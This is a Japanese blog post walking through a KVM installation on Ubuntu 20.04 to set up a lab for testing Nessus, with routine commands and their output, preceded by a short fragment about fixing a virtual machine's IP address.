tcbn@tcbn-N14xZU:~$ sudo virsh domif-setlink ubuntu20.04 52:54:00:e7:56:40 up
Device updated successfully

ここまでを実行した上で仮想マシンifconfig を実行すると以下のようになり、IPアドレスが固定されていることがわかる。

IPアドレスが192.168.100.131に固定されている。

Ubuntu20.04にKVMを導入する

1. はじめに

Nessus というツールについて気になることがあったので、その検証のため、仮想環境に実験環境を作ろうとしている。

その第一歩として、ここではUbuntu20.04にKVMを導入する。

1.1 KVM

KVM (Kernel-based Virtual Machine) は、Linux に組み込まれた仮想化テクノロジーである。KVMを使用することで、ホストOS (Linux) 内に、複数のVM (仮想マシン) を作成し、稼働させることができる1

2. インストール手順

海外の方のウェブサイトがとても有益だったので、これを参考にして環境構築を行う2

2.1 仮想化をサポートしているか確かめる

システムが仮想化をサポートしているか確かめる。以下のコマンドを実行する。

egrep -c '(vmx|svm)' /proc/cpuinfo

私の環境では、

tcbn@tcbn-N14xZU:~$ egrep -c '(vmx|svm)' /proc/cpuinfo
16

となった。ここが0より大きければ仮想化をサポートしているらしい。

KVMが使えるかを確かめるために、

sudo apt install cpu-checker

として、

sudo kvm-ok

というコマンドを実行する。

このコマンドでエラーがでなければ、KVMのインストールが可能である。私の環境では、

tcbn@tcbn-N14xZU:~$ sudo kvm-ok
INFO: /dev/kvm exists
KVM acceleration can be used

となった。

2.2 KVM のインストール

KVM に必要なツールを導入する。

sudo apt install -y qemu qemu-kvm libvirt-daemon libvirt-clients bridge-utils virt-manager

次に、libvirtd-daemon が動いているか確かめる。

sudo systemctl status libvirtd

私の環境では、

tcbn@tcbn-N14xZU:~$ sudo systemctl status libvirtd
● libvirtd.service - Virtualization daemon
     Loaded: loaded (/lib/systemd/system/libvirtd.service; enabled; vendor pres>
     Active: active (running) since Fri 2022-05-20 19:48:33 JST; 5min ago
TriggeredBy: ● libvirtd-admin.socket
             ● libvirtd.socket
             ● libvirtd-ro.socket
       Docs: man:libvirtd(8)
             https://libvirt.org

となった。自動起動の設定になっているか確認する。

sudo systemctl is-enabled libvirtd

私の環境では、

tcbn@tcbn-N14xZU:~$ sudo systemctl is-enabled libvirtd
enabled

だった。この後再起動する。

2.3 Virtual Machine Manager

ここまでの処理を終えると、Virtual Machine Manager が使えるようになる。

Virtual Machine Manager (GUI)

KVMではコマンドラインによる操作で仮想マシンの構築や設定などをするが、初めて使う際には、GUI操作の方が分かりやすい。

GUI操作による仮想マシン作成については、KVM を使って仮想マシンを作成する (試験勉強用) に書いている。


  1. 参考: KVMとは

  2. 参考: How to Install KVM on Ubuntu 20.04. 私が過去に記事で環境構築について書いたときも、このサイトを参考にしていた (KVM を使って仮想マシンを作成する (試験勉強用))。